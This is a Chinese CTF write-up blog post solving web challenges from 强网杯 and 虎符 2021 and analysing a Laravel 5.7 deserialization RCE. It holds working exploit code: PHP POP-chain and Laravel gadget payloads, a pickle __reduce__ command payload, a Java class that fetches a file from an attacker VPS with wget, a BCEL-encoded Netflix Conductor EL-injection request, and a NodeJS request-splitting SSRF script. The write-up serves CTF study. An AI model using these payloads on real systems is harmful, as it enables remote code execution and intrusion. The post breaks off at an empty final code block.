强网杯Web-writeup

前言

这次的强网杯能做出几道题来,起码有点体验,但后面有几道题都已经快接近了就是找不出思路,这就很难受。

[强网先锋] 赌徒

一道简单题,不知道后面给出的猜正反面是啥意思。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class Room{
public $filename;
public $a;
public $sth_to_set;

public function __construct() {
$this->filename = 'php://filter/read=convert.base64-encode/resource=/flag';
}
}

class Info {
private $phonenumber;
public $promise;
public $file;

public function __construct() {
$r = new Room();
$r->a = new Room();
$this->file = array(
"filename" => $r
);
}
}

class Start {
public $name;
public $flag;

public function __construct() {
$this->name = new Info();
}
}

$s = new Start();
echo urlencode(serialize($s));

[强网先锋] 寻宝

套娃题,一层一层解开就得到KEY1,后面的KEY2就是把所有文档整合在一起然后寻找KEY2。

ppp[number1]=1025a&ppp[number2]=10e5&ppp[number3]=61823470&ppp[number4]=0e11111&ppp[number5]=a

pop_master

也是套娃题,套的脑子都有点晕。从最开始的类中有eval的方法中往回推,一直推到最开始的类中就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
<?php
class KdMZTY{
public $rkzxonP;

public function Bt3aah($imcat){
$this->rkzxonP->VqC1XG($imcat);
}
public function __construct() {
$this->rkzxonP = new VcHHAY();
}
}
class hE1237{
public $Y0U1OpN;
public function sZDFaz($zXeQb){
if(method_exists($this->Y0U1OpN, 'Bt3aah')) $this->Y0U1OpN->Bt3aah($zXeQb);
}

public function __construct() {
$this->Y0U1OpN = new KdMZTY();
}
}
class x0cU8o{
public $B5Nkr4e;
public function cMbCY2($vbG51){
$this->B5Nkr4e->sZDFaz($vbG51);

}
public function __construct() {
$this->B5Nkr4e = new hE1237();
}
}
class EpumVy{
public $v9VIalo;

public function gBfOgZ($Y8NPX){
if(method_exists($this->v9VIalo, 'cMbCY2')) $this->v9VIalo->cMbCY2($Y8NPX);

}
public function __construct() {
$this->v9VIalo = new x0cU8o();
}
}
class SvLGuP{
public $yXCi8TL;

public function RFk4HP($WpDny){
$this->yXCi8TL->gBfOgZ($WpDny);
}
public function __construct() {
$this->yXCi8TL = new EpumVy();
}
}
class xpa19G{
public $vo7bYgO;

public function ksK40o($sLbv8){
$this->vo7bYgO->RFk4HP($sLbv8);

}
public function __construct() {
$this->vo7bYgO = new SvLGuP();
}
}
class oKyTId{
public $qWfSXVk;
public function owaRRm($gqewW){
$this->qWfSXVk->ksK40o($gqewW);

}
public function __construct() {
$this->qWfSXVk = new xpa19G();
}
}
class PAqUqi{
public $Ize2KBd;
public function u7VbML($MqtCG){
if(method_exists($this->Ize2KBd, 'owaRRm')) $this->Ize2KBd->owaRRm($MqtCG);

}

public function __construct() {
$this->Ize2KBd = new oKyTId();
}
}
class PEg1z3{
public $qCSma1p;
public function B60WUe($gEXO9){
$this->qCSma1p->u7VbML($gEXO9);

}
public function __construct() {
$this->qCSma1p = new PAqUqi();
}
}
class ma1GOL{
public $QQrQ9kq;

public function gh1TQw($sDMT9){
if(method_exists($this->QQrQ9kq, 'B60WUe')) $this->QQrQ9kq->B60WUe($sDMT9);

}
public function __construct() {
$this->QQrQ9kq = new PEg1z3();
}
}
class YUDLqi{
public $g8DGeSt;

public function s3iLwC($dIh8s){
$this->g8DGeSt->gh1TQw($dIh8s);

}
public function __construct() {
$this->g8DGeSt = new ma1GOL();
}
}
class VqXZYR{
public $Ltzfh9v;
public function hNnRb7($uHIVp){
if(method_exists($this->Ltzfh9v, 's3iLwC')) $this->Ltzfh9v->s3iLwC($uHIVp);

}
public function __construct() {
$this->Ltzfh9v = new YUDLqi();
}
}
class BAUmmp{
public $NPiQT9f;
public function QVu9vU($P8qSi){
if(method_exists($this->NPiQT9f, 'hNnRb7')) $this->NPiQT9f->hNnRb7($P8qSi);

}

public function __construct() {
$this->NPiQT9f = new VqXZYR();
}
}
class G8tlT0{
public $q3ZZpgG;
public function tor9r6($mgifi){
if(method_exists($this->q3ZZpgG, 'QVu9vU')) $this->q3ZZpgG->QVu9vU($mgifi);

}

public function __construct() {
$this->q3ZZpgG = new BAUmmp();
}
}
class YmuyFv{
public $O2WyEYC;

public function nSZRKm($nnucS){
if(method_exists($this->O2WyEYC, 'tor9r6')) $this->O2WyEYC->tor9r6($nnucS);

}
public function __construct() {
$this->O2WyEYC = new G8tlT0();
}
}
class fvcRzA{
public $HVg6bzd;
public function PYTdQe($MsDSn){
if(method_exists($this->HVg6bzd, 'nSZRKm')) $this->HVg6bzd->nSZRKm($MsDSn);

}

public function __construct() {
$this->HVg6bzd = new YmuyFv();
}
}
class vdIiww{
public $rL7rzno;

public function N18IFg($gemhy){
if(method_exists($this->rL7rzno, 'PYTdQe')) $this->rL7rzno->PYTdQe($gemhy);

}
public function __construct() {
$this->rL7rzno = new fvcRzA();
}
}
class vB8FHD{
public $xGnX9Tt;

public function ggX8Gr($OpCrc){
if(method_exists($this->xGnX9Tt, 'N18IFg')) $this->xGnX9Tt->N18IFg($OpCrc);

}
public function __construct() {
$this->xGnX9Tt = new vdIiww();
}
}
class xFRHB5{
public $uGhPXhG;

public function T57pvm($YlMUt){
if(method_exists($this->uGhPXhG, 'ggX8Gr')) $this->uGhPXhG->ggX8Gr($YlMUt);

}
public function __construct() {
$this->uGhPXhG = new vB8FHD();
}
}
class p4Lq4L{
public $FdtoCDY;
public function rKaRom($y45gY){

$this->FdtoCDY->T57pvm($y45gY);

}
public function __construct() {
$this->FdtoCDY = new xFRHB5();
}
}
class DymG8C{
public $GayBloW;

public function pKnxxm($VsQSb){
$this->GayBloW->rKaRom($VsQSb);
}
public function __construct() {
$this->GayBloW = new p4Lq4L();
}
}
class VcHHAY{
public $zTeSiwh;

public function QakfOb($vCl2l){
$this->zTeSiwh->pKnxxm($vCl2l);
}

public function VqC1XG($GrNGa){
eval($GrNGa);
}
}

$a = new VcHHAY();
$a->zTeSiwh = new DymG8C();
echo urlencode(serialize($a));

Hard_pentest

这道题通过shiro550反弹shell,然后通过信息收集可以发现靶机上面开了一个8005端口,但是外网不能访问,所以需要进行内网穿透。

1
php -r '$file=file_get_contents("http://xxx.xxx.xxx.xxx/xx");file_put_contents("xx",$file);'

这样就可以把端口转发出来,发现是一个cms,结果找了半天还是没啥收获。非常难受。

虎符2021 复现

easyflask

考点

  • /proc文件系统
  • pickle反序列化
  • flask session伪造

Steps

Step 1

开头的提示就不看了,直接跳到源代码分析部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
// 伪造session的关键变量
app.config["SECRET_KEY"] = "*******"

// 用户类
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"

// 读取指定的文件,但是文件必须得是目录中拥有的
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'

with open(path, 'r') as fp:
content = fp.read()
return content

// 将session中的值取出并反序列化得到User类,所以这里就是关键点
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

Step 2

现在代码已经知道了,但是代码里面并没有提到读取flag的事情,所以一般就是我们执行命令来读取flag,而pickle反序列化提供了__reduce__魔术方法,找一下它的定义:

当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 reduce 被定义之后,当对象被 Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选)

定义很长,但是只需要关注对象被pickle时就被调用,所以在User类中再定义一个__reduce__方法(感觉和php中的__wakeup__类似)。

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
from base64 import b64encode
import os

User = type('User', (object,), {
'uname': 'zesiar0',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system, ("echo `cat /flag` > /zesiar0",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())

Step 3

如何读取flag的方法了解了,但是session怎么修改?因为初始生成session的时候并没有可以控制的参数,就只能思考其他的方法了。一般来说,session都是存取在服务端的,但是flask很特殊,它把session存在客户端,这样就会导致session被替换从而达到某些目的,而要能够对替换内容进行加密生成新的session,代码config变量就非常重要了.

Step 4

最后一步,如何读取config变量呢。在linux系统中有一个非常特殊的文件系统/proc,它不是真的存在的文件系统,而是虚拟的,它存在于内存当中。具体知识可看参考链接。而这个文件系统中的/proc/self/environ文件中存放了当前进程的全局变量,所以config变量也就可以知道了,所以这就是代码中给出/file路由的原因。生成session可以利用flask-session-cookie-manager工具。

将其替换掉原来的session即可,然后访问/zesiar0。

参考链接

Python 反序列化漏洞学习笔记
Proc 目录在 CTF 中的妙用

tinypng

考点

Laravel5.7 反序列化RCE分析

前言

这是第一次开始尝试框架的代码审计,后面应该还会继续下去(如果不咕咕的话)。

反序列化分析

laravel 5.7是一款基于php 7.1.3之上运行的优秀php开发框架,反序列化RCE漏洞出现在核心包中,但是需要对基于laravel v5.7框架进行二次开发的cms出现可控反序列化点,才能触发漏洞实现RCE

Laravel5.7因为在更新之后增加一个\vendor\laravel\framework\src\Illuminate\Foundation\Testing\PendingCommand.php文件,先看看官方文档对这个文件描述。

可以看到在PendingCommand类存在命令执行的方法run(),这也是我们需要分析的地方,根据该方法中的调用顺序构造相应的参数以完成我们想要执行的命令。

先贴上作者给出的payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('id'),
$genericuser,
$application
);
echo urlencode(serialize($pendingcommand));
}
?>

Steps

该漏洞需要我们对Laravel框架进行二次开发才可能存在反序列化漏洞,所以故意增加一个反序列化入口,在routes\web.php里增加一个路由。

创建app\Http\Controllers\TaskController.php

现在初始化工作已经差不多做完了,开始分析调用链。不过还有一点就是该框架会进行一些类的加载,对调用链的分析没有啥用,我也不做什么分析了(其实是没看懂)。

前面加载过程不看,直接跳到PendingCommand的析构函数__destrcut()中。

这里$this->hasExecuted是默认为false的,所以不会返回,直接调用run()函数,继续跟进。

$this->hasExecuted变为true,然后调用$this->mockConsoleOutput(),继续套娃跟进。

根据调用栈可以知道,这里又进入了第一段代码的$this->createABufferedOutputMock(),之后又会进入一段非常非常长的加载类的调用链,不看了,直接看关键部分。

这里有一个foreach用法,将$this->test->expectedOutput数组进行遍历,但是通过使用全局搜索expectedOutput属性发现只有vendor\laravel\framework\src\Illuminate\Foundation\Testing\Concerns\InteractsWithConsole.php中有该属性,正常方法走不下去了,但是php中有魔术方法__get()可以利用,再全局搜索一下__get()

可以发现有很多都是可以利用的,寻找几个合适的类,比如vendor\nexmo\client-core\src\Client\Credentials\AbstractCredentials.phpvendor\fzaninotto\faker\src\Faker\DefaultGenerator.phpvendor\laravel\framework\src\Illuminate\Auth\GenericUser.phpvendor\laravel\framework\src\Illuminate\Support\Fluent.php等,还有其它的类感觉应该也有问题,现在就用最经典的类分析,其它的下次再说。

可以看到只要$this->attributes[$key]是个数组,返回的时候就不会报错,所以之后构造的时候可以设置为$this->attributes['expectedOutput']

返回之后又是和之前的思路一样,所以继续构造一个$this->attributes['expectedQuestions']

现在到了最关键的一步。

Kernel::class是个定值为Illuminate\Contracts\Console\Kernel,然后继续看它的调用链。

根据调用栈可以知道$abstract='Illuminate\Contracts\Console\Kernel'$parameters=[],到这里我们有两种思路(因为该方法有两种情况返回了不同的参数,而根据构造参数的不同导致了执行顺序不同,但返回的值都是一样的)。

第一种思路

第一种就采用第一个return的值,也就是:

1
2
3
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}

这样的话最后传到PendingCommand类中的$this->app[Kernel::class]的值也就是resolve()方法里的$this->instances[$abstract],但是必须得满足最后返回值类中存在call方法可以被调用,这里选取Illuminate\Foundation\Application,该类继承自Container,所以同样会进入到call()方法中。

到这里也差不多快结束了,这里的static::isCallableWithAtSign($callback)很明显会返回false直接跳过,到达最后一步调用getMethodDependencies()方法。

$dependencies=[],而最后返回的是将$dependencies$parameters合并起来的结果所以没有任何影响。返回之后利用回调函数call_user_func_array()方法执行命令。

完整的调用链结束!!

最后该思路的最终payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
namespace Illuminate\Foundation\Testing {

class PendingCommand {
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters) {
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}

namespace Illuminate\Auth {
class GenericUser {
protected $attributes = [];

public function __construct(){
$this->attributes = array(
"expectedOutput" => array("zesiar0"=>"1"),
"expectedQuestions" => array("zesiar0"=>"2")
);
}

public function __get($key) {
return $this->attributes[$key];
}
}
}

namespace Illuminate\Foundation {
class Application {
protected $instances = [];

public function __construct($instances = []) {
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}

namespace {
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$test = new Illuminate\Auth\GenericUser();
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
$test,
$application,
"system",
array('whoami')
);

echo urlencode(serialize($pendingcommand));
}

第二种思路

先放着,后面再继续分析。

虎符CTF internal_system 复现

前言

这题目跟着wp走发现质量是真的高,知识点也考得比较多。

知识点

  • NodeJS 代码审计
  • NodeJS 弱类型
  • NodeJS 请求拆分 SSRF
  • Netflix Conductor 1day
  • Java BCEL 编码

Steps

Step 1 代码分析

题目的页面源代码给了一个很明显的提示/source,访问后得到源代码,进行审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
const express = require('express')
const router = express.Router()

const axios = require('axios')

const isIp = require('is-ip')
const IP = require('ip')

const UrlParse = require('url-parse')

const {sha256, hint} = require('./utils')

const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'

const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))

const port = process.env.PORT || 3000

// 将js对象转化为JSON格式
function formatResopnse(response) {
if(typeof(response) !== typeof('')) {
return JSON.stringify(response)
} else {
return response
}
}

// 要求必须是公网,禁止访问内网资源
function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')

return isIp(host) && IP.isPublic(host)
}

// 禁止访问`/flag`,也就是下面的路由不能直接利用
function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname
return !pathname.startsWith('/flag')
}

function OTHER_WAF(url) {
return true;
}

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]

router.get('/', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.redirect('/index')
}
})

// `username`和`password`不能相等,但是sha256加密之后的值又必须相等
router.get('/login', (req, res, next) => {
const {username, password} = req.query;

if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))

req.session.admin = hash === adminHash

res.redirect('/index')
}
})

// 下面的路由都需要是需要管理员登录
router.get('/index', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())})
}
})

router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
const url = decodeURI(req.query.url);

console.log(url)

// 把上面WAF都轮一遍
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`) // 通过代理向`/search`发送请求
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})


// 没有任何屁用
router.post('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})

// 必须通过代理访问,且没有WAF过滤
router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}

const result = {title: 'Search Success', content: ''}

const method = req.method.toLowerCase()
const url = decodeURI(req.query.url)
const data = req.body

try {
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}

return res.json(result)
})

router.get('/source', (req, res, next)=>{
res.sendFile( __dirname + "/" + "index.js");
})

// 目前需要访问的路由
router.get('/flag', (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'No Flag For You!'})
}
return res.json({hint: hint})
})

module.exports = router

Step 2 NodeJS弱类型

理清了代码的整体思路之后,首先需要解决的是管理员登录的问题,因为后面所有的路由都需要是管理员才行。所以先看/login路由部分。

1
2
3
4
5
6
7
8
9
if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))

req.session.admin = hash === adminHash

res.redirect('/index')
}

这里问题就在于如何使username不等于admin的情况下,加密之后的值与admin的值相同。这里就需要NodeJS弱类型的知识点。

参考链接

所以这里只需要传username[]=admin即可登录。

Step 3 爆破内网地址

得到管理员身份之后访问/index可以得到网卡信息。

继续,为了能访问/flag路由必须先通过/proxy路由间接访问,但是又得使用公网IP才行,所以想办法绕过。最简单的办法就是利用0.0.0.0,请求时使用这个地址会默认访问到本机上,并且使用NodeJS搭建的网站端口默认为3000,访问http://0.0.0.0:.3000

成功了,但是因为不能以/flag开头,所以需要再进行套娃,利用http://0.0.0.0:3000/search?url=http://0.0.0.0:3000/flag

Step 4 Netflix-Conductor-RCE

现在得到了hint,告诉我们有个netflix conductor server,而这个服务器有个RCE漏洞。

参考链接

先写到这里,滚去上托福,溜了溜了。
因为访问/index路由的时候已经给出了内网的ip,并且Netflix confuctor server是搭在8080端口上的,所以需要爆破一下内网地址

得到的地址为http://10.0.122.14:8080

继续分析,这是该漏洞的描述:

Netflix Conductor是 Netflix 开发的一款工作流编排的引擎,项目地址:https://github.com/Netflix/conductor ,本次漏洞成因在于自定义约束冲突时的错误信息支持了 Java EL 表达式,而
且这部分错误信息是攻击者可控的,所以攻击者可以通过注入 Java EL 表达式进行任意代码执行。

首先需要构造号恶意的java代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Evil {
public Evil() {
try {
Runtime.getRuntime().exec("wget http://vps:ip -O /tmp/zesiar0");
} catch (Exception e) {
e.printStackTrace();
}

}

public static void main(String[] args) {
}
}

因为buu上面的靶机没有bash,所以利用起来很麻烦,先从我的vps上下载一个脚本下来然后再执行,再把结果返回到我的vps上。

这里在自己的vps上编译Evil.java,再用https://github.com/f1tz/BCELCodeman将Evil.class转换为 BCEL 编码,这里需要注意的是java的版本,不然会出现问题

1
2
javac Evil.java
java -jar BCELCodeman.jar e Evil.class

然后将这串编码放进上面文章的PoC里,最后我们的请求是:

1
2
3
4
5
6
POST /api/metadata/taskdefs? HTTP/1.1
Host: 10.0.241.14:8080
Content-Type: application/json
cache-control: no-cache
Postman-Token: 7bd50be1-2152-46d6-b16e-8245df0141dc
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$C1$U$3d$j$k$D$e3$m$_A$c1$X$e8B$d0D$5c$b8$d3$b81$b8$c2G$84$e8$c2$8del$b0$I$D$Z$K$n$fe$90k6h$5c$f8$B$7e$94z$3b1b$a2Mzn$ef$b9$a7$e7$f6$f1$fe$f1$fa$G$60$l$9b$W$oX$b0$90A6$82E$j$97L$e4$y$84$907$b1lb$85$n$7c$u$5d$a9$8e$Y$C$a5$f2$VC$f0$b8w$t$Y$e25$e9$8a$b3a$b7$v$bc$Gov$88$89$d5$Vw$kNy$df$cf$fd$dd9$92w$b9t$Z$b2$a5$9bZ$9b$8fx$a5$c3$ddV$a5$ae$3c$e9$b6$O$b4$9dU$ef$N$3dG$9cHm$R$ad$8edgW$eblDa$99X$b5$b1$86u$ea6$b8$_TT$b7_y$U$D$c9$bd$3d$h$F$U$Z$d23$cb$ea$d8$R$7d$r$7b$ae$8d$NX$d4W$5b1$qf$8a$f3f$5b8$8a$n9$a3$$$87$ae$92$5djl$b5$84$faI2$a5r$ed$8f$e6$80$y$c5X8$M$5b$a5$7fn$f2$8b$ba$f0z$8e$Y$MhC$bcOE$e5$3fK$c3$e3$8e$40$R$s$3d$b7$k$G$98$be$n$e1$ie$b7$94$h$U$b3$db$cf$60$_0R$81$v$82$d7O$88$d4v$a6$IOH$VD$M$J$fa$V$D6$e9$f2$I$T$G$88$N$R$l$a5$8a$89$q9g$c81F$95$E$8cO$Cfb$5eC$3c$e8k$92$df$ddr4$99$9e$T$7f$a1$N$c3$3e$R$pL$f9$87K$7f$BUiJ$a8$n$C$A$A').newInstance().class}","ownerEmail":"test@example.org","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]

但是现在又有一个问题,这里是POST请求,而源代码里的POST请求并不能利用,所以这就是下一个知识点了。

Step 5 NodeJS 8 HTTP请求走私

NodeJS8或者更低的版本存在请求拆分的漏洞(为什么知道题目是NodejS8的呢,因为代码里的salt里有8,是提示),意思是通过构造特定的unicode字符会被NodeJS解析成其它字符,从而达到特定的目的。因为HTTP协议是脆弱的,当用户发送GET并向其写入控制字符从而导致http请求走私的问题,但NodeJS的一些http库中可以阻止这一行为,但与上述漏洞结合时就不能阻止请求走私的问题。

参考链接

利用赵总写的脚本编写最后的PoC

1
2
post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$C1$U$3d$j$k$D$e3$m$_A$c1$X$e8B$d0D$5c$b8$d3$b81$b8$c2G$84$e8$c2$8del$b0$I$D$Z$K$n$fe$90k6h$5c$f8$B$7e$94z$3b1b$a2Mzn$ef$b9$a7$e7$f6$f1$fe$f1$fa$G$60$l$9b$W$oX$b0$90A6$82E$j$97L$e4$y$84$907$b1lb$85$n$7c$u$5d$a9$8e$Y$C$a5$f2$VC$f0$b8w$t$Y$e25$e9$8a$b3a$b7$v$bc$Gov$88$89$d5$Vw$kNy$df$cf$fd$dd9$92w$b9t$Z$b2$a5$9bZ$9b$8fx$a5$c3$ddV$a5$ae$3c$e9$b6$O$b4$9dU$ef$N$3dG$9cHm$R$ad$8edgW$eblDa$99X$b5$b1$86u$ea6$b8$_TT$b7_y$U$D$c9$bd$3d$h$F$U$Z$d23$cb$ea$d8$R$7d$r$7b$ae$8d$NX$d4W$5b1$qf$8a$f3f$5b8$8a$n9$a3$$$87$ae$92$5djl$b5$84$faI2$a5r$ed$8f$e6$80$y$c5X8$M$5b$a5$7fn$f2$8b$ba$f0z$8e$Y$MhC$bcOE$e5$3fK$c3$e3$8e$40$R$s$3d$b7$k$G$98$be$n$e1$ie$b7$94$h$U$b3$db$cf$60$_0R$81$v$82$d7O$88$d4v$a6$IOH$VD$M$J$fa$V$D6$e9$f2$I$T$G$88$N$R$l$a5$8a$89$q9g$c81F$95$E$8cO$Cfb$5eC$3c$e8k$92$df$ddr4$99$9e$T$7f$a1$N$c3$3e$R$pL$f9$87K$7f$BUiJ$a8$n$C$A$A\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}test@example.org\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.122.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))

最后我们需要请求的URL为:

1
